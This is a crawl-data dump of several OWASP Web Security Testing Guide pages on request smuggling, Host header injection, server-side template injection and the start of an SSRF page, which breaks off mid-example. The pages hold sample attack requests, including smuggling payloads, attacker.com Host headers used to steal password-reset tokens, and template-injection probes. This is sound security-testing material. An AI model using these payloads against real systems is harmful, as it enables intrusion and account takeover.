Topics”](https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html)\n- [Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”](https://www.slideserve.com/alicia/http-message-splitting-smuggling-and-other-animals-powerpoint-ppt-presentation)\n- [Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)”](https://web.archive.org/web/20210614052317/https://www.securityfocus.com/archive/1/411418)\n- [Amit Klein: “HTTP Response Smuggling”](https://web.archive.org/web/20210126213458/https://www.securityfocus.com/archive/1/425593)\n- [Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling”](https://web.archive.org/web/20210816212852/https://www.cgisecurity.com/lib/http-request-smuggling.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7196, "slov": 937, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:45", "sha256": "cb4397b38ce4111c59a33a700583b21993f28a3332ab672868173abb44994832", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://github.com/dwisiswant0/crlfuzz", "https://github.com/projectdiscovery/nuclei", "https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html", "https://www.slideserve.com/alicia/http-message-splitting-smuggling-and-other-animals-powerpoint-ppt-presentation", "https://www.securityfocus.com/archive/1/411418", "https://www.securityfocus.com/archive/1/425593", "https://www.cgisecurity.com/lib/http-request-smuggling.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/16-HTTP_Request_Smuggling", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/16-HTTP_Request_Smuggling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/16-HTTP_Request_Smuggling", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "HTTP Request Smuggling"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "CL.TE Desynchronization"}, {"uroven": 4, "text": "TE.CL Desynchronization"}, {"uroven": 4, "text": "TE.TE (Obfuscated Transfer-Encoding)"}, {"uroven": 3, "text": "Modern Attack Vectors"}, {"uroven": 4, "text": "HTTP/2 to HTTP/1.1 Desynchronization"}, {"uroven": 5, "text": "Example: HTTP/2 Downgrade Smuggling via Request Reconstruction"}, {"uroven": 4, "text": "H2C Smuggling (Cleartext HTTP/2 Upgrade)"}, {"uroven": 4, "text": "Request Queue Poisoning via Protocol Downgrade"}, {"uroven": 3, "text": "Indicators of Vulnerability"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# HTTP Request Smuggling\n\n| ID |\n| --- |\n| WSTG-INJT-16 |\n\n## Summary\n\nHTTP Request Smuggling is a class of vulnerabilities caused by inconsistencies in how HTTP requests are parsed by frontend and backend components. When intermediaries such as reverse proxies, load balancers, or API gateways interpret request boundaries differently from backend servers, attackers may inject or “smuggle” hidden requests that are processed out of sequence.\n\nModern infrastructures significantly expand the attack surface by introducing HTTP/2, protocol downgrades (HTTP/2 → HTTP/1.1), and cleartext upgrades (H2C), where request normalization and translation logic frequently diverges from RFC expectations.\n\nRequest smuggling exploits arise when two or more HTTP parsers disagree on where a request begins or ends. Historically, this discrepancy was most commonly observed in conflicting interpretations of the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers.\n\nIn modern architectures, additional desynchronization vectors emerge from:\n\n- HTTP/2 to HTTP/1.1 translation layers\n- Cleartext HTTP/2 (H2C) upgrade mechanisms\n- Header normalization mismatches\n- Reintroduced forbidden headers during protocol downgrade\n- Connection reuse across protocol boundaries\n\nThese behaviors can lead to persistent desynchronization, cache poisoning, credential hijacking, and access control bypass.\n\n## Test Objectives\n\n- Identify request boundary inconsistencies between frontend and backend components\n- Detect classic CL/TE desynchronization vulnerabilities\n- Evaluate protocol translation logic (HTTP/2 → HTTP/1.1)\n- Assess H2C upgrade handling and downgrade safety\n- Confirm backend request queue poisoning\n\n## How to Test\n\n### Black-Box Testing\n\n#### CL.TE Desynchronization\n\nIn a CL.TE scenario, the frontend uses `Content-Length` to determine request size, while the backend honors `Transfer-Encoding`.\n\n```\nPOST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 35 Transfer-Encoding: chunked\n\n0\n\nGET /404 HTTP/1.1\nFoo: x\n```\n\nExpected Result:\n\n- Backend stops parsing at the `0` chunk\n- Smuggled request remains buffered\n- Subsequent legitimate requests are corrupted or return unexpected responses (e.g., 404)\n\n#### TE.CL Desynchronization\n\nIn a TE.CL scenario, the frontend processes chunked encoding correctly, but the backend relies on `Content-Length`.\n\n```\nPOST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Transfer-Encoding: chunked\n\n5c\nGET /admin HTTP/1.1\nContent-Length: 0\n\n0\n```\n\nExpected Result:\n\n- Backend stops early\n- Remaining payload is interpreted as a new request\n- Unauthorized endpoint access or request poisoning may occur\n\n#### TE.TE (Obfuscated Transfer-Encoding)\n\nIf both servers support `Transfer-Encoding`, header obfuscation may cause one parser to ignore it.\n\nCommon techniques include:\n\n- Whitespace manipulation\n- Header duplication\n- Non-standard separators\n\n```\nPOST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 44 Transfer-Encoding:\\tchunked Transfer-Encoding: identity\n\n0\n\nGET /404 HTTP/1.1\nFoo: bar\n```\n\n### Modern Attack Vectors\n\n#### HTTP/2 to HTTP/1.1 Desynchronization\n\nIn many deployments, clients communicate with edge servers using HTTP/2, while backend services still operate over HTTP/1.1. During protocol translation, intermediaries must reconstruct HTTP/1.1 requests from HTTP/2 frames.\n\nCommon failure points include:\n\n- Incorrect reconstruction of `Content-Length`\n- Reintroduction of hop-by-hop headers\n- Multiple logical requests collapsed into a single backend request\n\n> Note: HTTP/2 downgrading is not inherently vulnerable by itself.\n> \n> Exploitation becomes possible when protocol translation reconstructs an HTTP/1.1 request that violates backend parsing assumptions, leading to request boundary desynchronization.\n\nTesting Approach:\n\n- Send multiple HTTP/2 DATA frames with conflicting length semantics\n- Observe backend behavior via timing discrepancies or response splitting\n- Monitor for request queue poisoning\n\n##### Example: HTTP/2 Downgrade Smuggling via Request Reconstruction\n\nIn this scenario, the client communicates with the frontend over HTTP/2, while the backend only supports HTTP/1.1. The intermediary reconstructs an HTTP/1.1 request from multiple HTTP/2 DATA frames.\n\n**HTTP/2 (Conceptual Representation):**\n\n- DATA frame 1:\n\n```\n0\\r\\n\\r\\n\n```\n\n- DATA frame 2:\n\n```\nGET /admin HTTP/1.1 Host: internal \n```\n\n**Reconstructed HTTP/1.1 Request (Backend View):**\n\n```\nPOST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 0\n\nGET /admin HTTP/1.1\nHost: internal\n```\n\nIf the frontend treats the request as complete while the backend continues parsing buffered data, the second request may be processed out of sequence, resulting in request smuggling.\n\n> Implicit Downgrades:\n> Even in the absence of an explicit `Upgrade: h2c` mechanism, many CDNs and reverse proxies silently downgrade HTTP/2 client connections to HTTP/1.1 when forwarding requests to backend services.\n> \n> These implicit downgrades expand the smuggling attack surface, especially when combined with connection reuse and insufficient request normalization.\n\n#### H2C Smuggling (Cleartext HTTP/2 Upgrade)\n\nH2C allows upgrading an HTTP/1.1 connection to HTTP/2 using the `Upgrade: h2c` mechanism.\n\nUnlike protocol downgrades, H2C smuggling occurs during an in-place protocol transition, where frontend and backend components may temporarily disagree on the active parsing state of the same connection, potentially leaving residual bytes in the backend buffer.\n\n```\nPOST / HTTP/1.1 Host: vulnerable-website.com Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\n\n0\n\nGET /admin HTTP/1.1\nHost: internal\n```\n\nRisk Factors:\n\n- Partial upgrade acceptance\n- Backend continues parsing as HTTP/1.1\n- Smuggled request processed post-upgrade\n\n#### Request Queue Poisoning via Protocol Downgrade\n\nSome proxies downgrade HTTP/2 requests to HTTP/1.1 but fail to fully sanitize:\n\n- `Content-Length`\n- Duplicated headers\n- Invalid pseudo-header ordering\n\nAttackers can exploit this to poison persistent backend connections, impacting multiple users.\n\n### Indicators of Vulnerability\n\n- Inconsistent responses across identical requests\n- Unexpected 404 or 400 responses\n- Delayed or mismatched responses\n- Cross-user response leakage\n\n## Remediation\n\n- Enforce strict RFC-compliant parsing\n- Normalize request handling across all intermediaries\n- Disable H2C where not required\n- Avoid protocol downgrades on untrusted connections\n- Terminate and revalidate backend connections upon parsing errors\n\n## Tools\n\n- [HTTP Request Smuggler (Burp Suite Extension)](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646)\n- [Smuggler (Python) by defparam](https://github.com/defparam/smuggler)\n- [h2csmuggler by Bishop Fox](https://github.com/BishopFox/h2csmuggler)\n\n## References\n\n- [James Kettle, “HTTP Desync Attacks: Request Smuggling Reborn” (PortSwigger Research)](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)\n- [James Kettle, “HTTP/2: The Sequel is Always Worse” (PortSwigger Research)](https://portswigger.net/research/http2)\n- [Jake Miller, “h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext” (Bishop Fox)](https://bishopfox.com/blog/h2c-smuggling-request)\n- [Amit Klein, Chaim Linhart, Ronen Heled, Steve Orrin: “HTTP Request Smuggling” (2005)](https://web.archive.org/web/20210816212852/https://www.cgisecurity.com/lib/http-request-smuggling.pdf)\n- [RFC 7230, Section 3.3.3: Message Body Length](https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.3)\n- [RFC 7540: Hypertext Transfer Protocol Version 2 (HTTP/2)](https://datatracker.ietf.org/doc/html/rfc7540)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7568, "slov": 920, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:46", "sha256": "5c854facd77f6ca86c121df3448faf39f6a6b43a28a0f7d3e2a0d61ac9354287", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646", "https://github.com/defparam/smuggler", "https://github.com/BishopFox/h2csmuggler", "https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn", "https://portswigger.net/research/http2", "https://bishopfox.com/blog/h2c-smuggling-request", "https://www.cgisecurity.com/lib/http-request-smuggling.pdf", "https://datatracker.ietf.org/doc/html/rfc7230", "https://datatracker.ietf.org/doc/html/rfc7540", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/17-Host_Header_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/17-Host_Header_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/17-Host_Header_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Web Cache Poisoning"}, {"uroven": 3, "text": "Password Reset Poisoning"}, {"uroven": 3, "text": "Accessing Private Virtual Hosts"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n| ID |\n| --- |\n| WSTG-INJT-17 |\n\n## Summary\n\nA web server commonly hosts several web applications on the same IP address, referring to each application via the virtual host. In an incoming HTTP request, web servers often dispatch the request to the target virtual host based on the value supplied in the Host header. Without proper validation of the header value, the attacker can supply invalid input to cause the web server to:\n\n- Dispatch requests to the first virtual host on the list.\n- Perform a redirect to an attacker-controlled domain.\n- Perform web cache poisoning.\n- Manipulate password reset functionality.\n- Allow access to virtual hosts that were not intended to be externally accessible.\n\n## Test Objectives\n\n- Assess if the Host header is being parsed dynamically in the application.\n- Bypass security controls that rely on the header.\n\n## How to Test\n\nInitial testing is as simple as supplying another domain (i.e. `attacker.com`) into the Host header field. It is how the web server processes the header value that dictates the impact. The attack is valid when the web server processes the input to send the request to an attacker-controlled host that resides at the supplied domain, and not to an internal virtual host that resides on the web server.\n\n```\nGET / HTTP/1.1 Host: www.attacker.com [...] \n```\n\nIn the simplest case, this may cause a 302 redirect to the supplied domain.\n\n```\nHTTP/1.1 302 Found [...] Location: https://www.attacker.com/login.php \n```\n\nAlternatively, the web server may send the request to the first virtual host on the list.\n\nIn the event that Host header injection is mitigated by checking for invalid input injected via the Host header, you can supply the value to the `X-Forwarded-Host` header.\n\n```\nGET / HTTP/1.1 Host: www.example.com X-Forwarded-Host: www.attacker.com [...] \n```\n\nPotentially producing client-side output such as:\n\n```\n[...]\n\n[...]\n```\n\nOnce again, this depends on how the web server processes the header value.\n\n### Web Cache Poisoning\n\nUsing this technique, an attacker can manipulate a web-cache to serve poisoned content to anyone who requests it. This relies on the ability to poison the caching proxy run by the application itself, CDNs, or other downstream providers. As a result, the victim will have no control over receiving the malicious content when requesting the vulnerable application.\n\n```\nGET / HTTP/1.1 Host: www.attacker.com [...] \n```\n\nThe following will be served from the web cache, when a victim visits the vulnerable application.\n\n```\n[...]\n\n[...]\n```\n\n### Password Reset Poisoning\n\nIt is common for password reset functionality to include the Host header value when creating password reset links that use a generated secret token. If the application processes an attacker-controlled domain to create a password reset link, the victim may click on the link in the email and allow the attacker to obtain the reset token, thus resetting the victim’s password.\n\nThe example below shows a password reset link that is generated in PHP using the value of `$_SERVER['HTTP_HOST']`, which is set based on the contents of the HTTP Host header:\n\n```\n$reset_url = \"https://\" . $_SERVER['HTTP_HOST'] . \"/reset.php?token=\" .$token; send_reset_email($email,$rset_url); \n```\n\nBy making a HTTP request to the password reset page with a tampered Host header, we can modify where the URL points:\n\n```\nPOST /request_password_reset.php HTTP/1.1 Host: www.attacker.com [...]\n\nemail=user@example.org\n```\n\nThe specified domain (`www.attacker.com`) will then be used in the reset link, which is emailed to the user. When the user clicks this link, the attacker can steal the token and compromise their account.\n\n```\n... Email snippet ...\n\nClick on the following link to reset your password:\n\nhttps://www.attacker.com/reset.php?token=12345\n\n... Email snippet ...\n```\n\n### Accessing Private Virtual Hosts\n\nIn some cases a server may have virtual hosts that are not intended to be externally accessible. This is most common with a [split-horizon](https://en.wikipedia.org/wiki/Split-horizon_DNS) DNS setup (where internal and external DNS servers return different records for the same domain).\n\nFor example, an organization may have a single webserver on their internal network, which hosts both their public website (on `www.example.org`) and their internal Intranet (on `intranet.example.org`, but that record only exists on the internal DNS server). Although it would not be possible to browse directly to `intranet.example.org` from outside the network (as the domain would not resolve), it may be possible to access to Intranet by making a request from outside with the following `Host` header:\n\n```\nHost: intranet.example.org\n```\n\nThis could also be achieved by adding an entry for `intranet.example.org` to your hosts file with the public IP address of `www.example.org`, or by overriding DNS resolution in your testing tool.\n\n## References\n\n- [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/)\n- [Host Header Attack](https://www.briskinfosec.com/blogs/blogsdetail/Host-Header-Attack)\n- [HTTP Host header attacks](https://portswigger.net/web-security/host-header)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5263, "slov": 772, "odkazu": 204, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:47", "sha256": "e69e533cc7a99ecbacacabd1de24c1a675206cd74b0389f46b1b54f1e91d5a09", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Split-horizon_DNS", "https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/", "https://www.briskinfosec.com/blogs/blogsdetail/Host-Header-Attack", "https://portswigger.net/web-security/host-header", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/18-Server-side_Template_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/18-Server-side_Template_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/18-Server-side_Template_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Server-side Template Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Example - Twig"}, {"uroven": 3, "text": "Example - Flask/Jinja2"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Identify Template Injection Vulnerability"}, {"uroven": 3, "text": "Identify the Templating Engine"}, {"uroven": 3, "text": "Build the RCE Exploit"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Server-side Template Injection\n\n| ID |\n| --- |\n| WSTG-INJT-18 |\n\n## Summary\n\nWeb applications commonly use server-side templating technologies (Jinja2, Twig, FreeMaker, etc.) to generate dynamic HTML responses. Server-side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server. Any features that support advanced user-supplied markup may be vulnerable to SSTI including wiki-pages, reviews, marketing applications, CMS systems etc. Some template engines employ various mechanisms (eg. sandbox, allow listing, etc.) to protect against SSTI.\n\n### Example - Twig\n\nThe following example is an excerpt from the [Extreme Vulnerable Web Application](https://github.com/s4n7h0/xvwa) project.\n\n```\npublic function getFilter($name) { [snip] foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) { return $filter; } } return false; } \n```\n\nIn the getFilter function the `call_user_func($callback, $name)` is vulnerable to SSTI: the `name` parameter is fetched from the HTTP GET request and executed by the server:\n\n*Figure 4.7.18-1: SSTI XVWA Example*\n\n### Example - Flask/Jinja2\n\nThe following example uses Flask and Jinja2 templating engine. The `page` function accepts a ‘name’ parameter from an HTTP GET request and renders an HTML response with the `name` variable content:\n\n```\n@app.route(\"/page\") def page(): name = request.values.get('name') output = Jinja2.from_string('Hello ' + name + '!').render() return output \n```\n\nThis code snippet is vulnerable to XSS but it is also vulnerable to SSTI. Using the following as a payload in the `name` parameter:\n\n```\n$ curl -g 'https://www.target.com/page?name='\nHello 49!\n```\n\n## Test Objectives\n\n- Detect template injection vulnerability points.\n- Identify the templating engine.\n- Build the exploit.\n\n## How to Test\n\nSSTI vulnerabilities exist either in text or code context. In plaintext context users allowed to use freeform ‘text’ with direct HTML code. In code context the user input may also be placed within a template statement (eg. in a variable name)\n\n### Identify Template Injection Vulnerability\n\nThe first step in testing SSTI in plaintext context is to construct common template expressions used by various template engines as payloads and monitor server responses to identify which template expression was executed by the server.\n\nCommon template expression examples:\n\n```\nab\na\n{var} ${var} <%var%> [% var %]\n```\n\nExpression syntax is not the only reachable surface. Apache Velocity and FreeMarker also evaluate *directive* syntax, which none of the probes above will trigger. An assignment directive stores its result instead of printing it, so pair it with an interpolation to make the value observable:\n\n```\n#set($x=7*7)$x\n<#assign x=7*7>${x}\n```\n\nBoth render `49` where the directive was evaluated. Sent without the trailing interpolation they render nothing at all, which matters when building the exploit: an assignment such as `<#assign result=runner(\"id\")>`, where `runner` is an object instantiated by an earlier directive rather than anything the engine provides, invokes the method and returns no output. An unchanged response is therefore not evidence that the payload was not executed. Where output is suppressed, confirm evaluation with an observable side effect instead, such as an out-of-band DNS lookup or a measurable delay.\n\nIn this step an extensive [template expression test strings/payloads list](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) is recommended.\n\nTesting for SSTI in code context is slightly different. First, the tester constructs the request that result either blank or error server responses. In the example below the HTTP GET parameter is inserted info the variable `personal_greeting` in a template statement:\n\n```\npersonal_greeting=username\nHello user01\n```\n\nUsing the following payload - the server response is blank “Hello”:\n\n```\npersonal_greeting=username\nHello\n```\n\nIn the next step is to break out of the template statement and injecting HTML tag after it using the following payload\n\n```\npersonal_greeting=username}}\nHello user01 \n```\n\n### Identify the Templating Engine\n\nBased on the information from the previous step now the tester has to identify which template engine is used by supplying various template expressions. Based on the server responses the tester deduces the template engine used. This manual approach is discussed in greater detail in [this](https://portswigger.net/blog/server-side-template-injection?#Identify) PortSwigger article. To automate the identification of the SSTI vulnerability and the templating engine various tools are available including [SSTImap](https://github.com/vladko312/SSTImap) or the [Backslash Powered Scanner Burp Suite extension](https://github.com/PortSwigger/backslash-powered-scanner).\n\n### Build the RCE Exploit\n\nThe main goal in this step is to identify to gain further control on the server with an RCE exploit by studying the template documentation and research. Key areas of interest are:\n\n- **For template authors** sections covering basic syntax.\n- **Security considerations** sections.\n- Lists of built-in methods, functions, filters, and variables.\n- Lists of extensions/plugins.\n\nThe tester can also identify what other objects, methods and properties can be exposed by focusing on the `self` object. If the `self` object is not available and the documentation does not reveal the technical details, a brute force of the variable name is recommended. Once the object is identified the next step is to loop through the object to identify all the methods, properties and attributes that are accessible through the template engine. This could lead to other kinds of security findings including privilege escalations, information disclosure about application passwords, API keys, configurations and environment variables, etc.\n\n## Tools\n\n- [SSTImap](https://github.com/vladko312/SSTImap)\n- [Tplmap](https://github.com/epinna/tplmap) - no longer maintained; SSTImap is an actively developed fork\n- [Backslash Powered Scanner Burp Suite extension](https://github.com/PortSwigger/backslash-powered-scanner)\n- [Template expression test strings/payloads list](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)\n\n## References\n\n- [James Kettle: Server-Side Template Injection:RCE for the modern webapp (whitepaper)](https://portswigger.net/kb/papers/serversidetemplateinjection.pdf)\n- [Server-Side Template Injection](https://portswigger.net/blog/server-side-template-injection)\n- [Exploring SSTI in Flask/Jinja2](https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/)\n- [Server-Side Template Injection: from detection to Remote shell](https://www.okiok.com/server-side-template-injection-from-detection-to-remote-shell/)\n- [Extreme Vulnerable Web Application](https://github.com/s4n7h0/xvwa)\n- [Exploiting SSTI in Thymeleaf](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7087, "slov": 916, "odkazu": 211, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:48", "sha256": "b45f95891a71de2b3686f231e9a6ed3c125f483c90f43a067d91e020c45186e0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/s4n7h0/xvwa", "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection", "https://portswigger.net/blog/server-side-template-injection", "https://github.com/vladko312/SSTImap", "https://github.com/PortSwigger/backslash-powered-scanner", "https://github.com/epinna/tplmap", "https://portswigger.net/kb/papers/serversidetemplateinjection.pdf", "https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/", "https://www.okiok.com/server-side-template-injection-from-detection-to-remote-shell/", "https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/19-Server-Side_Request_Forgery", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/19-Server-Side_Request_Forgery", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/19-Server-Side_Request_Forgery", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Server-Side Request Forgery"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Load the Contents of a File"}, {"uroven": 3, "text": "Access a Restricted Page"}, {"uroven": 3, "text": "Fetch a Local File"}, {"uroven": 3, "text": "HTTP Methods Used"}, {"uroven": 3, "text": "PDF Generators"}, {"uroven": 3, "text": "Common Filter Bypass"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Server-Side Request Forgery\n\n| ID |\n| --- |\n| WSTG-INJT-19 |\n\n## Summary\n\nWeb applications often interact with internal or external resources. While you may expect that only the intended resource will be handling the data you send, improperly handled data may create a situation where injection attacks are possible. One type of injection attack is called Server-side Request Forgery (SSRF). A successful SSRF attack can grant the attacker access to restricted actions, internal services, or internal files within the application or the organization. In some cases, it can even lead to Remote Code Execution (RCE).\n\n## Test Objectives\n\n- Identify SSRF injection points.\n- Test if the injection points are exploitable.\n- Asses the severity of the vulnerability.\n\n## How to Test\n\nWhen testing for SSRF, you attempt to make the targeted server inadvertently load or save content that could be malicious. The most common test is for local and remote file inclusion. There is also another facet to SSRF: a trust relationship that often arises where the application server is able to interact with other back-end systems that are not directly reachable by users. These back-end systems often have non-routable private IP addresses or are restricted to certain hosts. Since they are protected by the network topology, they often lack more sophisticated controls. These internal systems often contain sensitive data or functionality.\n\nConsider the following request:\n\n```\nGET https://example.com/page?page=about.php\n```\n\nYou can test this request with the following payloads.\n\n### Load the Contents of a File\n\n```\nGET 